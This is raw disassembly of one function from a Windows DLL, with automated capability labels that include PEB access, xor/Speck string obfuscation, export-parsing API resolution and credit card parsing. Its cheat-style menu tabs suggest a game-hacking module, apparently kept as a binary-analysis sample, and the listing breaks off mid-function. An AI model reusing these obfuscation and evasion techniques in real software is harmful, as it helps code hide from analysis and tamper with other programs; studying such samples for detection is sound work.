Function at 0x1800836c0
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Encode data using xor
Encrypt data using speck
Hash data using fnv
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x9250]
mov eax, 0x9350
call fcn.1801a9290
sub rsp, rax
movaps xmmword [rsp + 0x9340], xmm6
movaps xmmword [rsp + 0x9330], xmm7
movaps xmmword [rsp + 0x9320], xmm8
movaps xmmword [rsp + 0x9310], xmm9
movaps xmmword [rsp + 0x9300], xmm10
movaps xmmword [rsp + 0x92f0], xmm11
movaps xmmword [rsp + 0x92e0], xmm12
movaps xmmword [rsp + 0x92d0], xmm13
movaps xmmword [rsp + 0x92c0], xmm14
movaps xmmword [rsp + 0x92b0], xmm15
mov rax, qword [0x180249a80]
xor rax, rsp
mov qword [rbp + 0x91a8], rax
call fcn.180017880
call fcn.180016f10
movss xmm0, dword [0x1802497c0]
lea rcx, [rbp + 0xb00]
movss xmm1, dword [0x1802497c4]
xor r9d, r9d
xor r8d, r8d
movss dword [rbp + 0xb00], xmm0
lea rdx, [rax + 8]
movss dword [rbp + 0xb04], xmm1
call fcn.1800260f0
movzx ecx, word [0x1801c29fc]
xor edx, edx
mov eax, dword [str.RAJ_I_]
mov r8d, 0x210b
mov dword [rbp + 0x2e8], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x2e9], 0x37
xor al, 0x3c
xor byte [rbp + 0x2ea], 0x38
xor byte [rbp + 0x2eb], 0x39
mov word [rbp + 0x2ec], cx
xor cl, 0x3a
xor byte [rbp + 0x2ed], 0x3b
mov byte [rbp + 0x2ec], cl
lea rcx, [rbp + 0x2e8]
mov byte [rbp + 0x2e8], Ordinal_79
mov byte [rbp + 0x2ee], al
call fcn.18000d530
call fcn.180016f10
movzx ecx, byte [0x18024ada0]
xorps xmm10, xmm10
movss xmm0, dword [rax + 0x14]
mulss xmm0, dword [0x1801ad7fc]
mov rax, qword [0x18024af78]
movss dword [0x18024dbc4], xmm0
test cl, cl
je 0x180083833
movss xmm1, dword [0x1801c6df8]
jmp 0x180083836
xorps xmm1, xmm1
movss xmm0, dword [0x18024dbc0]
subss xmm1, xmm0
mulss xmm1, dword [rax + 0x18]
addss xmm0, xmm1
comiss xmm0, dword [0x1801c6df4]
movss dword [0x18024dbc0], xmm0
jbe 0x180083873
test cl, cl
je 0x180083873
mov eax, dword [0x18024ada4]
mov dword [0x18024dbf8], eax
mov byte [0x18024ada0], 0
lea rcx, [rbp + 0x2f78]
call fcn.180017ae0
lea rcx, [rbp + 0x2f08]
call fcn.1800168a0
call fcn.180017a90
movups xmm0, xmmword [0x18020c570]
lea rcx, [0x18024adc8]
mov rbx, rax
movss xmm6, dword [0x1801ad7bc]
movaps xmm1, xmm6
movups xmmword [rbp + 0x2fd0], xmm0
call fcn.180016770
mov edx, eax
lea rcx, [rbp + 0x2fb0]
call fcn.180012970
movaps xmm1, xmm6
lea rcx, [0x18024add8]
call fcn.180016770
mov edx, eax
lea rcx, [rbp + 0x2fc0]
call fcn.180012970
movss xmm8, dword [0x18020c588]
lea rcx, [rbp + 0x2fd0]
movss xmm7, dword [0x1802497c0]
movss xmm9, dword [0x1802497c4]
movss xmm6, dword [0x1802497c8]
call fcn.180012650
movss xmm1, dword [rbp + 0x2f7c]
lea r8, [rbp + 0x310]
movaps xmm0, xmm7
addss xmm1, xmm9
addss xmm0, dword [rbp + 0x2f78]
xor r14d, r14d
lea rdx, [rbp + 0x2f78]
mov dword [rsp + 0x28], r14d
mov r9d, eax
mov rcx, rbx
movss dword [rsp + 0x20], xmm6
movss dword [rbp + 0x314], xmm1
movss dword [rbp + 0x310], xmm0
call fcn.18002e5e0
lea rcx, [rbp + 0x2fb0]
call fcn.180012650
movss xmm3, dword [rbp + 0x2f7c]
lea r8, [rbp + 0x318]
movss xmm2, dword [rbp + 0x2f78]
lea rdx, [rbp + 0x320]
movss xmm6, dword [0x1801c6db0]
movaps xmm1, xmm3
movaps xmm0, xmm7
mov dword [rsp + 0x28], Ordinal_50
subss xmm0, dword [0x1801ad7d4]
addss xmm1, xmm6
movss dword [rsp + 0x20], xmm8
addss xmm3, xmm10
mov r9d, eax
mov rcx, rbx
addss xmm0, xmm2
addss xmm2, dword [0x1801c6dd8]
movss dword [rbp + 0x31c], xmm1
movss dword [rbp + 0x324], xmm3
movss dword [rbp + 0x318], xmm0
movss dword [rbp + 0x320], xmm2
call fcn.18002e5e0
lea rcx, [rbp + 0x2fb0]
call fcn.180012650
movss xmm0, dword [rbp + 0x2f78]
lea r8, [rbp + 0x328]
addss xmm0, dword [0x1801ad880]
movaps xmm1, xmm9
mov dword [rsp + 0x28], 0x50
addss xmm1, dword [rbp + 0x2f7c]
mov r9d, eax
movss dword [rsp + 0x20], xmm8
lea rdx, [rbp + 0x2f78]
mov rcx, rbx
movss dword [rbp + 0x328], xmm0
movss dword [rbp + 0x32c], xmm1
call fcn.18002e5e0
lea rcx, [rbp + 0x2fc0]
call fcn.180012650
movss xmm2, dword [rbp + 0x2f7c]
lea r8, [rbp + 0x330]
movss xmm1, dword [rbp + 0x2f78]
lea rdx, [rbp + 0x338]
movaps xmm0, xmm2
mov dword [rsp + 0x28], r14d
addss xmm0, dword [0x1801c6db4]
addss xmm7, xmm1
movss dword [rsp + 0x20], xmm8
addss xmm2, xmm6
mov r9d, eax
addss xmm1, xmm10
mov rcx, rbx
movss dword [rbp + 0x334], xmm0
movss dword [rbp + 0x330], xmm7
movss dword [rbp + 0x33c], xmm2
movss dword [rbp + 0x338], xmm1
call fcn.18002e5e0
lea rcx, [rbp + 0x2fc0]
call fcn.180012650
movss xmm2, dword [rbp + 0x2f78]
lea r8, [rbp + 0x340]
movss xmm3, dword [rbp + 0x2f7c]
lea rdx, [rbp + 0x348]
movaps xmm0, xmm2
mov dword [rsp + 0x28], r14d
addss xmm0, dword [0x1801c6de4]
addss xmm2, dword [0x1801ad880]
movaps xmm1, xmm9
movss dword [rsp + 0x20], xmm8
addss xmm1, xmm3
mov r9d, eax
addss xmm3, xmm6
mov rcx, rbx
movss dword [rbp + 0x340], xmm0
movss dword [rbp + 0x348], xmm2
movss dword [rbp + 0x344], xmm1
movss dword [rbp + 0x34c], xmm3
call fcn.18002e5e0
movss xmm1, dword [0x1801ad7b8]
xorps xmm0, xmm0
xorps xmm8, xmm8
call fcn.180026290
lea rdx, [rbp + 0x350]
mov dword [rbp + 0x350], 0x40000000
mov ecx, reloc.WS2_32.dll_ntohl
mov dword [rbp + 0x354], 0x40800000
call fcn.180021650
call fcn.180017650
addss xmm0, dword [0x1801c6dbc]
lea rcx, [rbp + 0x358]
mov dword [rbp + 0x358], 0x41480000
movss dword [rbp + 0x35c], xmm0
call fcn.180025700
mov eax, dword [str.bVZJ:]
lea rdx, [rbp + 0x360]
subss xmm9, dword [0x1801c6dd0]
mov dword [rbp + 0x88], eax
lea rcx, [rbp + 0x88]
movzx eax, byte [0x1801c2a04]
xor r9d, r9d
xor byte [rbp + 0x89], 0x37
xor al, 0x3a
xor byte [rbp + 0x8a], 0x38
xor r8d, r8d
xor byte [rbp + 0x8b], 0x39
mov byte [rbp + 0x8c], al
movss dword [rbp + 0x364], xmm9
mov dword [rbp + 0x360], 0x433e0000
mov byte [rbp + 0x88], 0x54
call fcn.18000fcc0
lea rax, [0x1801c47e4]
mov qword [rbp + 0x2f80], rax
lea rax, str.Visuals
mov qword [rbp + 0x2f88], rax
lea rax, str.Combats
mov qword [rbp + 0x2f90], rax
lea rax, str.Online
mov qword [rbp + 0x2f98], rax
lea rax, str.Miscellaneous
mov qword [rbp + 0x2fa0], rax
lea rax, [0x1801aced4]
mov ebx, r14d
mov qword [rsp + 0x70], rax
mov edi, r14d
lea rax, [0x1801aced8]
mov qword [rsp + 0x78], rax
lea rax, [0x1801acedc]
mov qword [rbp - 0x80], rax
lea rax, [0x1801aced0]
mov qword [rbp - 0x78], rax
lea rax, [0x1801acecc]
mov qword [rbp - 0x70], rax
nop dword [rax]
mov rdx, qword [rsp + rdi + 0x70]
lea r8, [0x18024dbf8]
mov rcx, qword [rbp + rdi + 0x2f80]
mov r9d, ebx
call fcn.18000a140
test al, al
je 0x180083cc7
mov dword [0x18024dbfc], r14d
inc ebx
add rdi, 8
cmp ebx, 5
jl 0x180083ca0
call fcn.180013d50
mov ecx, 1
call fcn.180020e30
lea rcx, [rbp + 0x368]
mov dword [rbp + 0x368], 0x43548000
mov dword [rbp + 0x36c], 0x41480000
call fcn.180025700
call fcn.180010580
mov eax, dword [0x18024dbf8]
movdqa xmm13, xmmword [0x1801c7120]
mov r12d, dword [reloc.WS2_32.dll_accept]
movdqa xmm10, xmmword [0x1801c6f20]
movdqa xmm11, xmmword [0x1801c6e90]
movdqa xmm14, xmmword [0x1801c73d0]
movdqa xmm15, xmmword [0x1801c6e40]
movdqa xmm12, xmmword [0x1801c6e50]
movss xmm9, dword [0x1801ad89c]
movdqa xmmword [rbp + 0x2f80], xmm13
test eax, eax
jne 0x1800842d5
mov eax, dword [0x1801c2a08]
lea rdx, [0x18024dbfc]
mov dword [rbp - 0x30], eax
lea rcx, [rbp - 0x30]
movzx eax, byte [0x1801c2a0c]
xor r8d, r8d
xor byte [rbp - 0x2f], 0x37
xor al, 0x3a
xor byte [rbp - 0x2e], 0x38
xor byte [rbp - 0x2d], 0x39
mov byte [rbp - 0x2c], al
mov byte [rbp - 0x30], Ordinal_79
call fcn.180009a60
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
movzx ecx, word [0x1801c2a14]
lea rdx, [0x18024dbfc]
mov eax, dword [0x1801c2a10]
mov r8d, 1
mov dword [rbp + 0x2f8], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x2f9], 0x37
xor al, 0x3c
xor byte [rbp + 0x2fa], 0x38
xor byte [rbp + 0x2fb], 0x39
mov word [rbp + 0x2fc], cx
xor cl, 0x3a
xor byte [rbp + 0x2fd], 0x3b
mov byte [rbp + 0x2fc], cl
lea rcx, [rbp + 0x2f8]
mov byte [rbp + 0x2f8], 0x57
mov byte [rbp + 0x2fe], al
call fcn.180009a60
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
cmp byte [0x1801c2a1f], r14b
mov rax, qword [str._RPPYWYpE_YZQKZ_WPPZ_41C]
mov qword [rbp + 0x370], rax
je 0x180083f64
cmp r12d, 2
jl 0x180083f26
movdqa xmm1, xmm15
movdqa xmm0, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, dword [rbp + 0x370]
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x370], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, dword [rbp + 0x374]
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rbp + 0x374], xmm1
jmp 0x180083f64
lea r9, [rbp + 0x370]
mov r8d, r14d
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180083f30
mov r8d, 2
lea rdx, [0x18024dbfc]
lea rcx, [rbp + 0x370]
call fcn.180009a60
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
cmp byte [0x1801c2a27], r14b
mov rax, qword [0x1801c2a20]
mov qword [rbp + 0x378], rax
je 0x1800840e4
cmp r12d, 2
jl 0x180084098
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x378]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x378], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x37c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x37c], xmm2
jmp 0x1800840e4
lea r9, [rbp + 0x378]
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1800840b0
mov r8d, 3
lea rdx, [0x18024dbfc]
lea rcx, [rbp + 0x378]
call fcn.180009a60
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
cmp byte [0x1801c2a35], r14b
mov eax, dword [0x1801c2a30]
movsd xmm0, qword [0x1801c2a28]
mov dword [rbp + 0x1a78], eax
movzx eax, word [0x1801c2a34]
mov word [rbp + 0x1a7c], ax
movsd qword [rbp + 0x1a70], xmm0
je 0x180084284
mov r8d, r14d
cmp r12d, 2
jl 0x18008423b
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2a28]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1a70], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a74]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a74], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a70]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180084250
mov r8d, 4
lea rdx, [0x18024dbfc]
lea rcx, [rbp + 0x1a70]
call fcn.180009a60
call fcn.180014790
mov rcx, qword [0x18024dba8]
call fcn.1800210c0
call fcn.180017a90
mov rdi, rax
mov eax, dword [str.raj]
mov dword [rbp + 0x198], eax
movzx eax, word [0x1801c2aec]
mov word [rbp + 0x19c], ax
jmp 0x180084f39
cmp eax, 1
jne 0x18008470f
mov eax, dword [0x1801c2a38]
lea rdx, [0x18024dbfc]
mov dword [rbp - 0x28], eax
lea rcx, [rbp - 0x28]
movzx eax, byte [0x1801c2a3c]
xor r8d, r8d
xor byte [rbp - 0x27], 0x37
xor al, 0x3a
xor byte [rbp - 0x26], 0x38
xor byte [rbp - 0x25], 0x39
mov byte [rbp - 0x24], al
mov byte [rbp - 0x28], Ordinal_79
call fcn.180009a60
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
mov eax, dword [0x1801c2a40]
lea rdx, [0x18024dbfc]
mov dword [rbp + 0x190], eax
lea rcx, [rbp + 0x190]
movzx eax, word [0x1801c2a44]
mov r8d, 1
xor byte [rbp + 0x191], 0x37
xor byte [rbp + 0x192], 0x38
xor byte [rbp + 0x193], 0x39
mov word [rbp + 0x194], ax
xor al, 0x3a
xor byte [rbp + 0x195], 0x3b
mov byte [rbp + 0x194], al
mov byte [rbp + 0x190], 0x52
call fcn.180009a60
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
mov eax, dword [0x1801c2a48]
lea rdx, [0x18024dbfc]
mov dword [rbp + 0xe0], eax
lea rcx, [rbp + 0xe0]
movzx eax, word [0x1801c2a4c]
mov r8d, 2
xor byte [rbp + 0xe1], 0x37
xor byte [rbp + 0xe2], 0x38
xor byte [rbp + 0xe3], 0x39
mov word [rbp + 0xe4], ax
xor al, 0x3a
xor byte [rbp + 0xe5], 0x3b
mov byte [rbp + 0xe4], al
mov byte [rbp + 0xe0], 0x41
call fcn.180009a60
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
cmp byte [0x1801c2a57], r14b
mov rax, qword [str._RPPYWYtBTU_O]
mov qword [rbp + 0x380], rax
je 0x180084545
cmp r12d, 2
jl 0x180084507
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x380]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x380], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x384]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x384], xmm2
jmp 0x180084545
lea r9, [rbp + 0x380]
mov r8d, r14d
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180084511
mov r8d, 3
lea rdx, [0x18024dbfc]
lea rcx, [rbp + 0x380]
call fcn.180009a60
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
cmp byte [0x1801c2a65], r14b
mov eax, dword [0x1801c2a60]
movsd xmm0, qword [0x1801c2a58]
mov dword [rbp + 0x1a88], eax
movzx eax, word [0x1801c2a64]
mov word [rbp + 0x1a8c], ax
movsd qword [rbp + 0x1a80], xmm0
je 0x1800846e4
mov r8d, r14d
cmp r12d, 2
jl 0x18008469c
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2a58]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1a80], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a84]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a84], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a80]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1800846b0
mov r8d, 4
lea rcx, [rbp + 0x1a80]
lea rdx, [0x18024dbfc]
call fcn.180009a60
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
jmp 0x18008429d
cmp eax, 2
jne 0x1800847e4
mov eax, dword [0x1801c2a68]
lea rdx, [0x18024dbfc]
mov dword [rbp - 0x20], eax
lea rcx, [rbp - 0x20]
movzx eax, byte [0x1801c2a6c]
xor r8d, r8d
xor byte [rbp - 0x1f], 0x37
xor al, 0x3a
xor byte [rbp - 0x1e], 0x38
xor byte [rbp - 0x1d], 0x39
mov byte [rbp - 0x1c], al
mov byte [rbp - 0x20], Ordinal_79
call fcn.180009a60
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
movzx ecx, word [0x1801c2a78]
mov r8d, 1
movsd xmm0, qword [0x1801c2a70]
movzx eax, byte [0x1801c2a7a]
movsd qword [rbp + 0x1298], xmm0
xor byte [rbp + 0x1299], 0x37
xor byte [rbp + 0x129a], 0x38
xor byte [rbp + 0x129b], 0x39
xor byte [rbp + 0x129c], 0x3a
xor byte [rbp + 0x129d], 0x3b
xor byte [rbp + 0x129e], 0x3c
xor byte [rbp + 0x129f], 0x3d
mov word [rbp + 0x12a0], cx
xor cl, 0x3e
xor byte [rbp + 0x12a1], 0x3f
xor al, 0x40
mov byte [rbp + 0x12a0], cl
mov byte [rbp + 0x12a2], al
lea rcx, [rbp + 0x1298]
mov byte [rbp + 0x1298], 0x53
jmp 0x1800846f1
cmp eax, 3
jne 0x180084af6
cmp byte [0x1801c2a8b], r14b
movsd xmm0, qword [0x1801c2a80]
mov eax, dword [0x1801c2a88]
movsd qword [rbp + 0x1558], xmm0
mov dword [rbp + 0x1560], eax
je 0x180084954
mov r8d, r14d
cmp r12d, 2
jl 0x180084910
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2a80]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1558], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x155c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x155c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1558]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180084920
xor r8d, r8d
lea rdx, [0x18024dbfc]
lea rcx, [rbp + 0x1558]
call fcn.180009a60
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
mov eax, dword [str.RV35B]
mov r8d, r14d
movsd xmm0, qword [0x1801c2a90]
mov dword [rbp + 0x1718], eax
movzx eax, byte [0x1801c2a9c]
mov byte [rbp + 0x171c], al
movsd qword [rbp + 0x1710], xmm0
cmp r12d, 2
jl 0x180084a9a
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2a90]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1710], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1714]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1714], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1710]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180084ab0
mov r8d, 1
lea rcx, [rbp + 0x1710]
jmp 0x1800846f1
cmp eax, 4
jne 0x180084f06
mov eax, dword [0x1801c2aa0]
lea rdx, [0x18024dbfc]
mov dword [rbp - 0x18], eax
lea rcx, [rbp - 0x18]
movzx eax, byte [0x1801c2aa4]
xor r8d, r8d
xor byte [rbp - 0x17], 0x37
xor al, 0x3a
xor byte [rbp - 0x16], 0x38
xor byte [rbp - 0x15], 0x39
mov byte [rbp - 0x14], al
mov byte [rbp - 0x18], Ordinal_79
call fcn.180009a60
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
movzx ecx, word [0x1801c2ab0]
lea rdx, [0x18024dbfc]
movzx eax, byte [0x1801c2ab2]
mov r8d, 1
movsd xmm0, qword [0x1801c2aa8]
xor al, 0x40
movsd qword [rbp + 0x12a8], xmm0
xor byte [rbp + 0x12a9], 0x37
xor byte [rbp + 0x12aa], 0x38
xor byte [rbp + 0x12ab], 0x39
xor byte [rbp + 0x12ac], 0x3a
xor byte [rbp + 0x12ad], 0x3b
